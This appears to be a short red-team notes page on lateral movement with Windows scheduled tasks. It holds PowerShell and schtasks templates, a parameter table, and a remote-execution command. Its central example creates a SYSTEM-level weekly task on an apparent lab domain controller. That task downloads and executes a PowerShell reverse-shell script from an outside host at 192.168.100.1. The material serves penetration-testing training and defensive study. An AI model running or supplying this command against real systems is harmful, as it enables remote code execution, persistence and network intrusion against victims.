# Windows Task Scheduler

## Overview

To perform lateral movement using scheduled tasks, an attacker would typically use a compromised user account to schedule a task on a remote system. This task would then execute code or commands that would allow the attacker to move laterally across the network, escalate privileges, or access sensitive data.

## Creating a scheduled tasks on a remote machine

### Using New-ScheduledTask

{% code overflow="wrap" %}
```powershell
New-ScheduledTask -ComputerName <computername> -Action <action> -Trigger <trigger> -Principal <principal> -Settings <settings> -Description <description> -TaskName <taskname> -Force
```
{% endcode %}

### Using schtasks

Create / edit a Scheduled Job/Task. The job can be created on the local or a remote computer.

{% code overflow="wrap" %}
```powershell
schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1''')'"
```
{% endcode %}

#### Arguments

| Parameter                           | Description                                                                                   |
| ----------------------------------- | --------------------------------------------------------------------------------------------- |
| /S _system_                         | Remote system (default is local)                                                              |
| /SC _schedule_                      | The schedule frequency: Minute, Hourly, Daily, Weekly, Monthly, Once, Onstart,Onlogon,Onidle. |
| \[/RU _username_ \[/RP _password_]] | Run job as this user.                                                                         |
| /TN _taskname_                      | A name which uniquely identifies the scheduled task.                                          |
| /TR _taskrun_                       | Pathname of the executable to run.                                                            |

### Execute remote task

{% code overflow="wrap" %}
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {schtasks /run /TN <taskname>}
```
{% endcode %}

## Reference

{% embed url="https://ss64.com/nt/schtasks.html" %}
